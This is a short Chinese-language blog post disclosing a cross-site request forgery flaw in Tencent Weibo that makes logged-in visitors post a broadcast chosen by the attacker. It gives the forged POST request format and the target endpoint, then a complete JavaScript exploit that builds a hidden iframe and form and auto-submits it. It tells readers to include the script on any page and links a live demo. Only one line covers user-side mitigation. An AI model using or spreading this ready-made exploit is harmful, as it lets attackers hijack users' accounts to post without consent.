Title:腾讯微博任意访问者发广播漏洞
Author:Tueur
漏洞类型:CSRF漏洞,
简介:
在用户登录过网页微博的前提下,任意用户访问一个含有CSRF代码的网页,访问者就会自动发送一条我们指定的广播到微博。

下面是伪造的post请求的数据包格式
content=广播内容&pic=图片文件
将此数据包post发送到微博应用接口:http://v.t.qq.com/wall/upload.php?a=659654db3a094394bcc253d6e0814871

用户就会发送一条含有图片的广播到微博~

用户防范此类型漏洞办法:将浏览器设置为阻止任何第三方cookie,能防站内执行,但对新打开窗口无效。

上个月发现的漏洞,丢在那一直没时间玩,放出来算了。顺便花时间写了个利用js。
测试Demo:http://www.tueur.net/csrf_domo.html

CSRF代码(仅以文字广播为例):

以下是引用片段:

//Author:Tueur
//Blog:[url]www.tueur.net[/url]
var content = "腾讯微博CSRF漏洞测试~";//广播内容
var appkey = "659654db3a094394bcc253d6e0814871";//你的appkey(本人appkey仅供测试,appkey申请:open.t.qq.com)

function postdata()
{
        var form = document.createElement("form");//创建表单
                if(navigator.appName == "Microsoft Internet Explorer")
                                {
                        var ifm = document.createElement('');
                }else
                                {
                        var ifm = document.createElement("iframe");
                        ifm.setAttribute("name","subForm");
                        ifm.setAttribute("style","display:none");
                }

        form._submit_function_ = form.submit;

        form.setAttribute("method", "post");
        form.setAttribute("action", "http://v.t.qq.com/wall/upload.php?a="+appkey);

            form.setAttribute("target","subForm")
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", "content");
            hiddenField.setAttribute("value",content);

        form.appendChild(hiddenField);
        document.body.appendChild(ifm);
        document.body.appendChild(form);
        form._submit_function_();
}

postdata();

将以上代码保存为xxx.js在任意页面引用。